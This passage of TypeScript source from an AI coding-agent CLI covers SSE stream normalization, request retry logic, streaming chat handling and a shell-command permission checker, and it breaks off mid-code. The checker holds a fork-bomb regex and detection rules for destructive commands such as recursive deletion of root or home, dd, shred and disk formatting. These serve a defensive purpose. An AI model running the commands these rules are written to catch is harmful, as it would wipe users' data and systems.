controller.enqueue(value);\n } catch (error) {\n controller.error(error);\n }\n },\n cancel(reason) {\n return reader.cancel(reason);\n },\n });\n return new Response(body, {\n status: response.status,\n statusText: response.statusText,\n headers: response.headers,\n });\n };\n}\n","import type { ModelConfig, StarConfig } from \"../config/schema\";\n\nexport function listModels(config: StarConfig): ModelConfig[] {\n return config.models;\n}\n\nexport function resolveModelConfig(config: StarConfig, modelName?: string): ModelConfig {\n const name = modelName ?? config.defaultModel;\n const model = config.models.find((m) => m.name === name);\n if (!model) {\n const available = config.models.map((m) => m.name).join(\", \") || \"(none)\";\n throw new Error(`Model \"${name}\" not found. Available models: ${available}`);\n }\n return model;\n}\n","// Some relays (this one fronts the OpenAI Responses API behind\n// /v1/responses) batch several compact JSON events into ONE SSE data\n// payload instead of one event per `data:` line — either as bare\n// continuation lines, or glued together with the next event's\n// `event:`/`data:` line and no newline at all. The AI SDK's SSE parser\n// JSON-parses each data payload whole, so a batched payload fails with\n// \"Unexpected non-whitespace character after JSON\". Codex and opencode\n// parse events line-by-line and tolerate this. Since we stay on the AI SDK,\n// normalize the wire format at the fetch layer: split every batched data\n// payload back into one event per JSON object (the split point is the true\n// end of each object, found by string-aware brace counting).\n//\n// The output is NOT byte-equivalent to the input: every event is re-emitted\n// as `data: <payload>` followed by a blank line, so CRLF endings become LF\n// and a `data:{...}` line gains the space after the colon. Lines are split\n// on \\n only — a stream using bare \\r as its line terminator is not\n// supported.\n\n// Returns [json, rest] when text starts with a complete JSON object,\n// splitting at its true end (string- and escape-aware, so a \"}\" inside a\n// string value never counts), or null when the object is incomplete or the\n// text is not an object. Relays sometimes glue the next event's `event:` /\n// `data:` line onto a JSON payload without any newline — brace counting is\n// the only reliable split point.\nfunction splitJsonPrefix(text: string): [string, string] | null {\n if (!text.startsWith(\"{\")) return null;\n let depth = 0;\n let inString = false;\n let escaped = false;\n for (let i = 0; i < text.length; i++) {\n const ch = text[i];\n if (inString) {\n if (escaped) escaped = false;\n else if (ch === \"\\\\\") escaped = true;\n else if (ch === '\"') inString = false;\n continue;\n }\n if (ch === '\"') inString = true;\n else if (ch === \"{\") depth += 1;\n else if (ch === \"}\") {\n depth -= 1;\n if (depth === 0) return [text.slice(0, i + 1), text.slice(i + 1).trimStart()];\n }\n }\n return null;\n}\n\n// Splits SSE text into events at blank lines, then re-emits each data\n// payload that holds multiple JSON objects as separate `data:` events.\n// Streaming-safe: lines are buffered across chunks, and a trailing partial\n// line is held until it completes or the stream ends.\nexport class SseNormalizeTransform extends TransformStream<string, string> {\n constructor() {\n let buffer = \"\";\n // Payload of the data field currently being assembled (without the\n // \"data:\" prefix), or null when no event is open.\n let pending: string | null = null;\n\n const flushPending = (controller: TransformStreamDefaultController<string>) => {\n if (pending === null) return;\n controller.enqueue(`data: ${pending}\\n\\n`);\n pending = null;\n };\n\n // Emits a data payload, splitting off any events glued to it without a\n // newline (`{...}event: foo`, `{...}data: {...}`, `{...}{...}`): each\n // complete JSON object becomes its own event and the remainder is\n // reprocessed. An incomplete or non-JSON payload keeps the original\n // assembly behavior (held as pending until the event closes).\n const emitPayload = (payload: string, controller: TransformStreamDefaultController<string>) => {\n let rest = payload;\n for (;;) {\n const split = splitJsonPrefix(rest);\n if (!split) {\n pending = rest;\n return;\n }\n const [json, tail] = split;\n if (tail === \"\") {\n pending = json;\n return;\n }\n controller.enqueue(`data: ${json}\\n\\n`);\n if (tail.startsWith(\"data:\")) {\n rest = tail.slice(5).replace(/^ /, \"\");\n continue;\n }\n if (tail.startsWith(\"{\")) {\n rest = tail;\n continue;\n }\n // A glued `event:`/`id:`/comment line: emit it as its own line —\n // harmless to the SDK parser, which reads the event type from the\n // JSON payload itself.\n controller.enqueue(`${tail}\\n`);\n return;\n }\n };\n\n const handleLine = (raw: string, controller: TransformStreamDefaultController<string>) => {\n const line = raw.endsWith(\"\\r\") ? raw.slice(0, -1) : raw;\n if (line === \"\") {\n flushPending(controller);\n return;\n }\n if (line.startsWith(\"data:\")) {\n // A new data field closes any event already being assembled.\n flushPending(controller);\n emitPayload(line.slice(5).replace(/^ /, \"\"), controller);\n return;\n }\n if (line.startsWith(\"{\") && pending !== null) {\n // A continuation line of a batched payload: the previous object is\n // complete, so it becomes its own event and this line opens the next.\n flushPending(controller);\n emitPayload(line, controller);\n return;\n }\n // Comments, event:/id:/retry: fields, and anything else: pass through\n // as a standalone line once no data payload is open.\n flushPending(controller);\n controller.enqueue(`${line}\\n`);\n };\n\n super({\n transform(chunk, controller) {\n buffer += chunk;\n let index = buffer.indexOf(\"\\n\");\n while (index !== -1) {\n handleLine(buffer.slice(0, index), controller);\n buffer = buffer.slice(index + 1);\n index = buffer.indexOf(\"\\n\");\n }\n },\n flush(controller) {\n if (buffer.length > 0) handleLine(buffer, controller);\n flushPending(controller);\n },\n });\n }\n}\n\n// Wraps a base fetch (default: global) so SSE responses are piped through\n// SseNormalizeTransform; non-SSE responses (JSON errors, etc.) pass through\n// untouched. Used for the openai-responses protocol only — chat-completions\n// relays already emit one event per data line.\nexport function createSseNormalizingFetch(baseFetch: typeof fetch = fetch): typeof fetch {\n return async (input, init) => {\n const response = await baseFetch(input, init);\n const contentType = response.headers.get(\"content-type\") ?? \"\";\n if (!response.body || !contentType.includes(\"text/event-stream\")) {\n return response;\n }\n const body = response.body\n .pipeThrough(new TextDecoderStream())\n .pipeThrough(new SseNormalizeTransform())\n .pipeThrough(new TextEncoderStream());\n // The rewritten body no longer matches the original bytes, so the old\n // content-length/content-encoding would lie about (and corrupt) it.\n const headers = new Headers(response.headers);\n headers.delete(\"content-length\");\n headers.delete(\"content-encoding\");\n return new Response(body, {\n status: response.status,\n statusText: response.statusText,\n headers,\n });\n };\n}\n","// Retry classification and backoff for model requests, modeled on opencode's\n// SessionRetry (sst/opencode, packages/opencode/src/session/retry.ts). Relays\n// and gateways report transient failures inconsistently — a Cloudflare HTML\n// 403, a 400 whose body says \"provider returned error\", a 200 stream that\n// dies mid-way — so classification looks past the status code at the error\n// message and response body, and the wait between attempts honors Retry-After\n// headers with jittered exponential backoff as the fallback.\nimport { responseBodyOf } from \"../core/http-error\";\n\n// Client/validation failures will fail again identically, so only transient\n// conditions merit another attempt. SDK validation errors never retry —\n// TypeValidation/JSONParse mean the relay answered with a malformed payload,\n// which a resend would burn the whole retry budget on.\nconst NON_RETRYABLE_ERROR_NAMES = new Set([\n \"AI_NoSuchToolError\",\n \"AI_InvalidToolArgumentsError\",\n \"AI_InvalidPromptError\",\n \"AI_NoSuchModelError\",\n \"AI_LoadAPIKeyError\",\n \"AI_TypeValidationError\",\n \"AI_JSONParseError\",\n]);\n\nconst RETRYABLE_MESSAGE_PATTERNS = [\n /\\b(408|425|429|500|502|503|504|520|521|522|523|524|529)\\b/,\n /rate.?limit|too many requests|rate increased/i,\n /overloaded|service.?unavailable|internal (server )?error|server error|provider returned error|bad gateway|gateway timeout/i,\n /terminated|fetch failed|failed to fetch|network.?error|upstream connect|connection (?:error|refused|lost|reset)|socket (?:hang up|connection)|reset before headers|getaddrinfo|enotfound|eai_again|econnrefused|econnreset|etimedout|epipe|ehostunreach|enetunreach/i,\n /\\b(?:request|response|connection|network|stream|read|headers?|body) (?:timeout|timed out|time out)\\b/i,\n /resource.?exhausted|try (?:your request )?again|at capacity/i,\n];\n\nfunction statusCodeOf(error: Error): number | undefined {\n const status = (error as { statusCode?: unknown }).statusCode;\n return typeof status === \"number\" ? status : undefined;\n}\n\nfunction matchesRetryablePattern(text: string | undefined): boolean {\n return typeof text === \"string\" && RETRYABLE_MESSAGE_PATTERNS.some((p) => p.test(text));\n}\n\nexport function isRetryableStreamError(error: Error): boolean {\n if (NON_RETRYABLE_ERROR_NAMES.has(error.name)) return false;\n // The SDK's own classification (it marks 429/5xx API call errors retryable).\n if ((error as { isRetryable?: unknown }).isRetryable === true) return true;\n const status = statusCodeOf(error);\n if (status !== undefined) {\n // 501 Not Implemented is excluded from the 5xx blanket: the endpoint\n // cannot serve this request shape at all, so it falls through to the\n // message/body check like any other deterministic status.\n if (status === 408 || status === 429 || (status >= 500 && status !== 501)) return true;\n // A 4xx is normally deterministic, but gateways and relays surface\n // transient failures under 4xx codes (Cloudflare rate-limit 403s, a 400\n // wrapping an upstream failure), recognizable only by what the error says.\n return matchesRetryablePattern(error.message) || matchesRetryablePattern(responseBodyOf(error));\n }\n // No status at all: network/parse failure before or during the response.\n return true;\n}\n\nexport const RETRY_JITTER_FACTOR = 0.25;\n// The wait between attempts never exceeds this, even when a Retry-After\n// header asks for more: an interactive CLI turn cannot park for minutes.\nexport const MAX_RETRY_DELAY_MS = 60_000;\n\n// Parses the Retry-After hints an APICallError can carry: retry-after-ms,\n// then retry-after in seconds or as an HTTP date. Header names from the AI\n// SDK are already lowercase, but normalize defensively.\nexport function retryAfterDelayMs(error: Error): number | undefined {\n const headers = (error as { responseHeaders?: unknown }).responseHeaders;\n if (!headers || typeof headers !== \"object\") return undefined;\n const normalized: Record<string, string> = {};\n for (const [key, value] of Object.entries(headers)) {\n if (typeof value === \"string\") normalized[key.toLowerCase()] = value;\n }\n const afterMs = Number.parseFloat(normalized[\"retry-after-ms\"] ?? \"\");\n if (!Number.isNaN(afterMs)) return Math.max(0, afterMs);\n const after = normalized[\"retry-after\"];\n if (after) {\n const seconds = Number.parseFloat(after);\n if (!Number.isNaN(seconds)) return Math.max(0, Math.ceil(seconds * 1000));\n const dateMs = Date.parse(after) - Date.now();\n if (!Number.isNaN(dateMs) && dateMs > 0) return Math.ceil(dateMs);\n }\n return undefined;\n}\n\n// Milliseconds to wait before the next attempt: the server's Retry-After hint\n// when present (capped), otherwise exponential backoff (base × 2^attempt)\n// with +0–25% jitter so concurrent clients do not retry in lockstep.\nexport function computeRetryDelayMs(\n attempt: number,\n baseMs: number,\n error?: Error | null,\n random: number = Math.random(),\n): number {\n const hinted = error ? retryAfterDelayMs(error) : undefined;\n if (hinted !== undefined) return Math.min(hinted, MAX_RETRY_DELAY_MS);\n const base = baseMs * 2 ** attempt;\n return Math.min(Math.ceil(base + base * RETRY_JITTER_FACTOR * random), MAX_RETRY_DELAY_MS);\n}\n\n// One-line description of a stream failure for retry notices and logs: the\n// message, the HTTP status when the message omits it, and an excerpt of the\n// response body when it adds information the message does not have.\nexport function summarizeStreamError(error: Error): string {\n const parts = [error.message || error.name];\n const status = statusCodeOf(error);\n if (status !== undefined && !error.message.includes(String(status))) {\n parts.push(`(HTTP ${status})`);\n }\n const body = responseBodyOf(error);\n if (body && !error.message.includes(body.slice(0, 40))) {\n const excerpt = body.replace(/\\s+/g, \" \").trim().slice(0, 200);\n if (excerpt) parts.push(`— ${excerpt}`);\n }\n return parts.join(\" \");\n}\n","import { type LanguageModel, type ToolSet, streamText } from \"ai\";\nimport type { StreamEvent, TokenUsage } from \"../core/events\";\nimport type { CoreMessage } from \"../core/messages\";\nimport { streamActivity } from \"./activity\";\nimport { debugStreamLog } from \"./debug\";\nimport type { ProviderMetadata } from \"./provider\";\nimport { summarizeStreamError } from \"./retry\";\n\nexport interface StreamChatOptions {\n model: LanguageModel;\n messages: CoreMessage[];\n tools?: Record<string, unknown>;\n abortSignal?: AbortSignal;\n maxTokens?: number;\n // Per-model sampling temperature (config [[models]] temperature), resolved\n // by the caller; undefined falls through to the SDK default (ai@4: 0).\n temperature?: number;\n // Extra per-call provider metadata (e.g. reasoningEffort), keyed by provider\n // instance name. Merged into the request; the openai entry merges with the\n // strictSchemas/store defaults below instead of replacing them.\n providerMetadata?: ProviderMetadata;\n // Idle watchdog: some relays deliver the final content but never send the\n // terminal chunks (or never close the socket). If no stream part arrives\n // within this window once content has started streaming, the stream is\n // ended gracefully with what we have.\n idleTimeoutMs?: number;\n // Separate, longer allowance before the first CONTENT part: thinking\n // models and slow relays can sit silent for minutes after accepting the\n // request, and a false timeout here would kill a healthy request. Control\n // parts (response-metadata, tool-call-streaming-start, ...) do not count\n // as content — the responses protocol emits response-metadata the moment\n // the server sends response.created, long before any thinking output.\n firstPartTimeoutMs?: number;\n}\n\nconst DEFAULT_IDLE_TIMEOUT_MS = 20_000;\nconst DEFAULT_FIRST_PART_TIMEOUT_MS = 120_000;\n\n// Parts that mark real generation. Control/metadata parts (response-metadata,\n// tool-call-streaming-start, reasoning-signature, source, file) only prove\n// the connection is alive — they must not demote the generous first-part\n// allowance to the short idle one, or a model that thinks in silence (kimi\n// thinking, buffered function-call arguments) dies as a spurious\n// idle-timeout and burns the whole retry budget on a deterministic stall.\nconst GENERATION_PART_TYPES = new Set([\"text-delta\", \"reasoning\", \"tool-call\", \"tool-call-delta\"]);\n\n// Absolute cap on how long byte-level keepalives (SSE heartbeat comments the\n// SDK swallows) may extend a stream that produces no parts at all — without\n// it a heartbeat-only zombie connection could hang a turn forever.\nconst MAX_KEEPALIVE_SILENCE_MS = 10 * 60_000;\n\nconst CACHE_READ_KEYS = [\"cacheReadInputTokens\", \"cache_read_input_tokens\"];\nconst CACHED_PROMPT_KEYS = [\"cachedPromptTokens\", \"cached_prompt_tokens\", \"cachedTokens\"];\n\n// Anthropic prompt caching: a cache_control block marks \"everything from the\n// request start up to this block\" as a cached prefix. The agent loop resends\n// the full history every step, so two breakpoints — the leading system\n// message (covers the tool definitions and the static prompt prefix) and the\n// last message (the whole history so far) — turn most of every resend into\n// ~0.1x-billed cache reads. Other protocols do their own server-side caching\n// and never see this (provider metadata is keyed by provider name).\nexport function withAnthropicCacheBreakpoints(\n model: LanguageModel,\n messages: CoreMessage[],\n): CoreMessage[] {\n if (!model.provider.startsWith(\"anthropic\")) return messages;\n const mark = (message: CoreMessage): CoreMessage => ({\n ...message,\n experimental_providerMetadata: {\n ...message.experimental_providerMetadata,\n anthropic: {\n ...message.experimental_providerMetadata?.anthropic,\n cacheControl: { type: \"ephemeral\" },\n },\n },\n });\n const result = messages.slice();\n if (result[0]?.role === \"system\") result[0] = mark(result[0]);\n const last = result.length - 1;\n if (last > 0 && result[last]) result[last] = mark(result[last] as CoreMessage);\n return result;\n}\n\n// Pulls prompt-cache token counts out of a finish part's providerMetadata.\n// Anthropic-style fields (cacheReadInputTokens) report cache reads on top of\n// promptTokens; OpenAI-style fields (cachedPromptTokens) are a subset of it.\n// Only finite numbers are accepted; anything else means \"not provided\".\nexport function extractCacheUsage(\n providerMetadata: unknown,\n): Pick<TokenUsage, \"cachedPromptTokens\" | \"cacheReadInputTokens\"> {\n if (!providerMetadata || typeof providerMetadata !== \"object\") return {};\n for (const value of Object.values(providerMetadata)) {\n if (!value || typeof value !== \"object\") continue;\n const record = value as Record<string, unknown>;\n for (const key of CACHE_READ_KEYS) {\n const n = record[key];\n if (typeof n === \"number\" && Number.isFinite(n)) return { cacheReadInputTokens: n };\n }\n for (const key of CACHED_PROMPT_KEYS) {\n const n = record[key];\n if (typeof n === \"number\" && Number.isFinite(n)) return { cachedPromptTokens: n };\n }\n }\n return {};\n}\n\nexport async function* streamChat(opts: StreamChatOptions): AsyncGenerator<StreamEvent> {\n const controller = new AbortController();\n const onAbort = () => controller.abort();\n opts.abortSignal?.addEventListener(\"abort\", onAbort);\n // Abort listeners only fire on future aborts: mirror an abort that already\n // happened before this listener was registered (Esc landing while the loop\n // was still preparing the request), or the request would run on until the\n // idle watchdog despite having been cancelled.\n if (opts.abortSignal?.aborted) controller.abort();\n const { openai: openaiMetadata, ...otherMetadata } = opts.providerMetadata ?? {};\n const result = streamText({\n model: opts.model,\n messages: withAnthropicCacheBreakpoints(opts.model, opts.messages),\n tools: opts.tools as ToolSet | undefined,\n abortSignal: controller.signal,\n maxTokens: opts.maxTokens,\n temperature: opts.temperature,\n // Disable the SDK's own retries (ai@4 defaults to 2 internal attempts with\n // fixed backoff that ignores Retry-After and the abort signal, and\n // exhaustion throws an AI_RetryError stripped of status/headers/body) —\n // the retry policy in agent/loop.ts + llm/retry.ts owns the full budget\n // and needs the raw error to classify.\n maxRetries: 0,\n // Pass tool-call argument deltas through (instead of buffering until the\n // complete call) so large write_file payloads report receive progress.\n toolCallStreaming: true,\n experimental_providerMetadata: {\n // Only the openai provider (our responses-protocol path) reads these;\n // other providers ignore unknown metadata. The SDK's responses provider\n // sends every tool with strict:true by default (strictSchemas), and\n // strict mode requires every schema property to be required — our\n // classic function-calling schemas use optional properties, which\n // relays then reject. store:false matches how codex and opencode talk\n // to relays (no server-side response storage).\n ...otherMetadata,\n openai: { strictSchemas: false, store: false, ...openaiMetadata },\n },\n });\n const idleTimeoutMs = opts.idleTimeoutMs ?? DEFAULT_IDLE_TIMEOUT_MS;\n const firstPartTimeoutMs = opts.firstPartTimeoutMs ?? DEFAULT_FIRST_PART_TIMEOUT_MS;\n const iterator = result.fullStream[Symbol.asyncIterator]();\n // True once a GENERATION part arrived — controls which watchdog window\n // applies. Control parts (response-metadata et al.) never set it.\n let seenContent = false;\n let deltas = 0;\n // Any visible reply content streamed (text or a completed tool call) —\n // decides whether an idle-watchdog cutoff marks the finish event as\n // truncated. Reasoning deliberately does not count: it is display-only and\n // never persisted, so a reasoning-only cutoff loses nothing the user saw —\n // flagging it \"truncated\" would show a scary notice for what is really a\n // silent-stall retry (kimi pauses mid-thinking with zero bytes for tens of\n // seconds).\n let hasContent = false;\n // Accumulated tool-call argument sizes, for coarse progress events while a\n // large payload (write_file content) streams in.\n const argsProgress = new Map<string, { name: string; chars: number; nextMark: number }>();\n // Last time ANY part arrived; the keepalive extension is bounded against\n // this, not against the last byte (bytes without parts can flow forever).\n let lastPartAt = Date.now();\n debugStreamLog(\"request\", {\n messages: opts.messages.length,\n idleTimeoutMs,\n firstPartTimeoutMs,\n });\n try {\n for (;;) {\n let timer: ReturnType<typeof setTimeout> | undefined;\n const windowMs = seenContent ? idleTimeoutMs : firstPartTimeoutMs;\n const idle = new Promise<null>((resolve) => {\n timer = setTimeout(() => resolve(null), windowMs);\n });\n let next: Awaited<ReturnType<typeof iterator.next>> | null;\n try {\n next = await Promise.race([iterator.next(), idle]);\n } catch (error) {\n debugStreamLog(\"stream-throw\", {\n seenContent,\n deltas,\n error: error instanceof Error ? summarizeStreamError(error) : String(error),\n });\n throw error;\n } finally {\n // Clear in finally: when iterator.next() rejects, skipping this would\n // leave the watchdog timer pending for up to the full first-part\n // allowance.\n if (timer) clearTimeout(timer);\n }\n if (next === null) {\n // Byte-level liveness check before cutting: relays fronting slow\n // upstreams often send SSE heartbeat comments while buffering, and\n // the SDK swallows them, so at the part level the stream looks dead\n // while bytes are still flowing. As long as raw chunks keep\n // arriving, keep waiting — bounded by MAX_KEEPALIVE_SILENCE_MS of\n // total part silence so a heartbeat-only zombie cannot hang a turn.\n const activity = streamActivity(controller.signal);\n const silentForMs = Date.now() - lastPartAt;\n const lastChunkAgoMs = activity ? Date.now() - activity.lastChunkAt : undefined;\n if (\n lastChunkAgoMs !== undefined &&\n lastChunkAgoMs < windowMs &&\n silentForMs < MAX_KEEPALIVE_SILENCE_MS\n ) {\n debugStreamLog(\"keepalive\", { seenContent, deltas, lastChunkAgoMs, silentForMs });\n continue;\n }\n // Note: the AI SDK holds the model's finish part until the source\n // stream closes, so a relay that stops sending without closing can\n // only be detected by this watchdog.\n debugStreamLog(\"idle-timeout\", {\n seenContent,\n deltas,\n waitedMs: windowMs,\n lastChunkAgoMs,\n });\n yield {\n type: \"finish\",\n finishReason: \"idle-timeout\",\n usage: undefined,\n // Content already streamed means the reply may be cut off\n // mid-thought; the loop surfaces a notice for that.\n ...(hasContent ? { truncated: true } : {}),\n };\n return;\n }\n if (next.done) {\n debugStreamLog(\"end\", { seenContent, deltas });\n return;\n }\n const part = next.value;\n lastPartAt = Date.now();\n if (GENERATION_PART_TYPES.has(part.type)) seenContent = true;\n switch (part.type) {\n case \"text-delta\":\n deltas++;\n hasContent = true;\n yield { type: \"text-delta\", text: part.textDelta };\n break;\n case \"reasoning\":\n deltas++;\n yield { type: \"reasoning\", text: part.textDelta };\n break;\n case \"tool-call\":\n hasContent = true;\n yield {\n type: \"tool-call\",\n id: part.toolCallId,\n name: part.toolName,\n args: part.args,\n };\n break;\n case \"tool-call-streaming-start\": {\n argsProgress.set(part.toolCallId, {\n name: part.toolName,\n chars: 0,\n nextMark: 4096,\n });\n break;\n }\n case \"tool-call-delta\": {\n const progress = argsProgress.get(part.toolCallId) ?? {\n name: part.toolName,\n chars: 0,\n nextMark: 4096,\n };\n progress.chars += part.argsTextDelta.length;\n argsProgress.set(part.toolCallId, progress);\n if (progress.chars >= progress.nextMark) {\n progress.nextMark *= 2;\n yield { type: \"tool-call-progress\", name: progress.name, bytes: progress.chars };\n }\n break;\n }\n case \"finish\": {\n const finite = (n: number) => (Number.isFinite(n) ? n : 0);\n const cache = extractCacheUsage(\n part.providerMetadata ?? part.experimental_providerMetadata,\n );\n debugStreamLog(\"finish\", {\n finishReason: part.finishReason,\n usage: part.usage,\n deltas,\n });\n yield {\n type: \"finish\",\n finishReason: part.finishReason,\n usage: part.usage\n ? {\n promptTokens: finite(part.usage.promptTokens),\n completionTokens: finite(part.usage.completionTokens),\n totalTokens: finite(part.usage.totalTokens),\n ...cache,\n }\n : undefined,\n };\n return;\n }\n case \"error\": {\n // A user-initiated abort surfacing as a stream error is not a failure.\n if (opts.abortSignal?.aborted) return;\n const error = part.error instanceof Error ? part.error : new Error(String(part.error));\n debugStreamLog(\"error-part\", { seenContent, deltas, error: summarizeStreamError(error) });\n yield { type: \"error\", error };\n break;\n }\n }\n }\n } finally {\n opts.abortSignal?.removeEventListener(\"abort\", onAbort);\n // Cancels the upstream request if it is still open (e.g. a relay that\n // sent its last byte but kept the connection alive).\n controller.abort();\n }\n}\n","import { appendFileSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { starHome } from \"../config/paths\";\n\n// STAR_DEBUG-gated JSONL log of stream internals (~/.star-cli/debug.log):\n// what the provider actually sent — finish reasons, usage, error details —\n// so a misbehaving relay can be diagnosed from the client side. All write\n// failures are silent; logging must never break a turn.\nexport function debugStreamLog(event: string, data?: Record<string, unknown>): void {\n if (!process.env.STAR_DEBUG) return;\n try {\n const line = `${JSON.stringify({ ts: new Date().toISOString(), event, ...data })}\\n`;\n appendFileSync(path.join(starHome(), \"debug.log\"), line);\n } catch {\n // best-effort only\n }\n}\n","import os from \"node:os\";\nimport path from \"node:path\";\n\nexport function starHome(): string {\n return process.env.STAR_HOME ?? path.join(os.homedir(), \".star-cli\");\n}\n\nexport function globalConfigPath(): string {\n return path.join(starHome(), \"config.toml\");\n}\n\nexport function sessionsDir(): string {\n return path.join(starHome(), \"sessions\");\n}\n\nexport function userMemoryPath(): string {\n return path.join(starHome(), \"MEMORY.md\");\n}\n\n// Internal bare git repositories tracking the whole working tree per project\n// directory (one per cwd, keyed by base64url of the resolved path) for the\n// git-snapshot /undo//redo path. Kept outside the user's own .git.\nexport function gitTreesDir(): string {\n return path.join(starHome(), \"git-trees\");\n}\n\n// dotenv-style API key store written by /connect; config.toml only references\n// the variable names (apiKeyEnv), never the keys themselves.\nexport function envFilePath(): string {\n return path.join(starHome(), \".env\");\n}\n\nexport function projectConfigPath(cwd: string): string {\n return path.join(cwd, \".star\", \"config.toml\");\n}\n","import fs from \"node:fs\";\nimport path from \"node:path\";\nimport { isSensitivePath } from \"../core/sensitive\";\nimport { isAllowedByRules, isDeniedByRules } from \"./allow\";\nimport { type ShellToken, lexShell, segmentWords, splitShellSegments } from \"./shell\";\nimport type {\n PermissionContext,\n PermissionDecision,\n PermissionMode,\n PermissionRequest,\n} from \"./types\";\n\nconst FILE_TOOLS = new Set([\"write_file\", \"edit_file\", \"read_file\", \"read_image\", \"grep\", \"glob\"]);\n\n// The classic fork bomb is punctuation soup that defeats word-level analysis;\n// keep a literal regex for it.\nconst FORK_BOMB = /:\\(\\)\\s*\\{\\s*:\\|:&\\s*\\}\\s*;:/;\n\nconst MAX_ANALYSIS_DEPTH = 8;\n\nfunction baseName(word: string): string {\n const base = word.replace(/\\\\/g, \"/\").split(\"/\").pop() ?? word;\n return base.toLowerCase().replace(/\\.exe$/, \"\");\n}\n\n// Paths whose recursive deletion (or permission wipe) is never acceptable:\n// filesystem / home / cwd roots, bare globs and drive roots. `$VAR` and\n// `${VAR}` were normalized to `$VAR` by the lexer, so well-known home\n// variables are recognizable here.\nfunction isDangerousDeleteTarget(target: string): boolean {\n if (/^\\/+$/.test(target)) return true;\n const norm = target.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\");\n if (norm === \"/*\" || norm === \"*\") return true;\n if (norm === \"~\" || norm.startsWith(\"~/\")) return true;\n if (norm === \".\" || norm === \"./*\") return true;\n if (/^[a-zA-Z]:$/.test(norm)) return true;\n if ([\"$HOME\", \"$USERPROFILE\", \"$HOMEPATH\"].includes(norm)) return true;\n if (/^%(USERPROFILE|HOMEDRIVE|HOMEPATH)%$/i.test(norm)) return true;\n return false;\n}\n\nfunction rmIsDangerous(args: string[]): boolean {\n let recursive = false;\n let optionsDone = false;\n const targets: string[] = [];\n for (const arg of args) {\n if (!optionsDone && arg === \"--\") {\n optionsDone = true;\n continue;\n }\n if (!optionsDone && arg.startsWith(\"-\")) {\n if (arg === \"--recursive\") {\n recursive = true;\n } else if (!arg.startsWith(\"--\") && /[rR]/.test(arg)) {\n recursive = true;\n }\n continue;\n }\n targets.push(arg);\n }\n return recursive && targets.some(isDangerousDeleteTarget);\n}\n\nfunction findIsDangerous(args: string[]): boolean {\n if (!args.includes(\"-delete\")) return false;\n const paths: string[] = [];\n for (const arg of args) {\n if (arg.startsWith(\"-\") || arg === \"(\" || arg === \")\" || arg === \"!\" || arg === \",\") {\n break;\n }\n paths.push(arg);\n }\n // No explicit path means \"everything below the cwd\".\n return paths.length === 0 || paths.some(isDangerousDeleteTarget);\n}\n\nconst XARGS_VALUE_OPTS = new Set([\n \"-I\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-d\",\n \"-E\",\n \"-a\",\n \"--replace\",\n \"--max-args\",\n \"--max-procs\",\n \"--max-lines\",\n \"--delimiter\",\n \"--eof\",\n \"--arg-file\",\n \"--interactive\",\n \"--exit\",\n]);\n\n// `xargs rm` takes its deletion targets from stdin, so no target analysis is\n// possible — any rm (or rm-equivalent) invoked through xargs is refused.\nfunction xargsIsDangerous(args: string[]): boolean {\n for (let k = 0; k < args.length; k += 1) {\n const arg = args[k] as string;\n if (XARGS_VALUE_OPTS.has(arg)) {\n k += 1;\n continue;\n }\n if (arg.startsWith(\"-\")) {\n continue;\n }\n return baseName(arg) === \"rm\";\n }\n return false;\n}\n\nfunction chmodIsDangerous(args: string[]): boolean {\n let recursive = false;\n let optionsDone = false;\n const operands: string[] = [];\n for (const arg of args) {\n if (!optionsDone && arg === \"--\") {\n optionsDone = true;\n continue;\n }\n if (!optionsDone && arg.startsWith(\"-\")) {\n if (arg === \"--recursive\" || (!arg.startsWith(\"--\") && arg.includes(\"R\"))) {\n recursive = true;\n }\n continue;\n }\n operands.push(arg);\n }\n // operands[0] is the mode; the rest are targets.\n return recursive && operands.slice(1).some(isDangerousDeleteTarget);\n}\n\ninterface CommandInvocation {\n name: string;\n rest: string[];\n sudo: boolean;\n}\n\n// Strips leading VAR=value assignments and sudo/doas/env wrappers (with their\n// flags) to find the command actually being run.\nfunction commandInvocation(words: string[]): CommandInvocation | null {\n let sudo = false;\n let wrapped = false;\n let k = 0;\n for (;;) {\n const word = words[k];\n if (word === undefined) return null;\n const lower = word.toLowerCase();\n if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) {\n k += 1;\n continue;\n }\n if (lower === \"sudo\" || lower === \"doas\" || lower === \"env\") {\n sudo = sudo || lower !== \"env\";\n wrapped = true;\n k += 1;\n continue;\n }\n if (wrapped && word.startsWith(\"-\")) {\n k += 1;\n continue;\n }\n return { name: baseName(word), rest: words.slice(k + 1), sudo };\n }\n}\n\nfunction commandLineIsDangerous(command: string, depth: number): boolean {\n if (depth > MAX_ANALYSIS_DEPTH) return true;\n const tokens = lexShell(command);\n for (const token of tokens) {\n if (token.kind === \"subst\" && commandLineIsDangerous(token.inner, depth + 1)) {\n return true;\n }\n }\n return splitShellSegments(tokens).some((segment) => segmentIsDangerous(segment, depth));\n}\n\nfunction segmentIsDangerous(segment: ShellToken[], depth: number): boolean {\n const { words, redirectTargets } = segmentWords(segment);\n if (redirectTargets.some((target) => /^\\/dev\\/sd[a-z]/i.test(target))) {\n return true;\n }\n const invocation = commandInvocation(words);\n if (!invocation) return false;\n const { name, rest, sudo } = invocation;\n if (sudo && name === \"rm\") return true;\n switch (name) {\n case \"shutdown\":\n case \"reboot\":\n case \"poweroff\":\n case \"halt\":\n case \"diskpart\":\n case \"wipefs\":\n case \"shred\":\n return true;\n case \"rm\":\n return rmIsDangerous(rest);\n case \"rmdir\":\n case \"rd\":\n case \"del\":\n case \"erase\":\n return rest.some((arg) => /^\\/s$/i.test(arg));\n case \"format\":\n return rest.some((arg) => /^[a-z]:$/i.test(arg));\n case \"dd\":\n return rest.some((arg) => arg.startsWith(\"if=\"));\n case \"find\":\n return findIsDangerous(rest);\n case \"xargs\":\n return xargsIsDangerous(rest);\n case \"chmod\":\n return chmodIsDangerous(rest);\n case \"systemctl\":\n return rest.some((arg) => [\"poweroff\", \"halt\", \"reboot\"].includes(arg.toLowerCase()));\n case \"init\":\n return rest.some((arg) => arg === \"0\" || arg === \"6\");\n case \"sh\":\n case \"bash\":\n case \"zsh\":\n case \"dash\":\n case \"ash\": {\n const idx = rest.indexOf(\"-c\");\n const script = idx >= 0 ? rest[idx + 1] : undefined;\n return script !== undefined && commandLineIsDangerous(script, depth + 1);\n }\n case \"eval\":\n return rest.length > 0 && commandLineIsDangerous(rest.join(\" \"), depth + 1);\n case \"cmd\": {\n const idx = rest.findIndex((arg) => 